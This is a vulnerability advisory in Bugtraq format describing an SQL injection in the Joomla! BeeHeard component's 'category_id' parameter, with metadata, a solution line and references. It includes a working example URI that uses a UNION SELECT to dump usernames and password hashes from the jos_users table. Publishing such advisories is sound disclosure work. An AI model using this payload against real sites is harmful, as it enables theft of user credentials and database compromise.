Joomla! BeeHeard Component 'category_id' Parameter SQL Injection Vulnerability

Bugtraq ID:	37495
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Dec 28 2009 12:00AM
Updated:	Feb 11 2010 07:01PM
Credit:	FL0RiX
Vulnerable:	BeeHeard BeeHeard 0
Not Vulnerable:

Joomla! BeeHeard Component 'category_id' Parameter SQL Injection Vulnerability

The BeeHeard component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Joomla! BeeHeard Component 'category_id' Parameter SQL Injection Vulnerability

Attackers can use a browser to exploit this issue.

The following example URI is available:

http://www.example.com/index.php?option=com_beeheard&controller=suggestions&view=suggestions&layout=list&category_id=null/**/and/**/1=0/**/union/**/select/**/1,2,3,concat(username,0x3a,password)fl0rixforever,5,6,7,8,9/**/from/**/jos_users--

Joomla! BeeHeard Component 'category_id' Parameter SQL Injection Vulnerability

Solution:
Updates are available. Please see the references for more information.

Joomla! BeeHeard Component 'category_id' Parameter SQL Injection Vulnerability

References:

• BeeHeard Homepage (BeeHeard)
  
• Vulnerable Extensions List (Joomla!)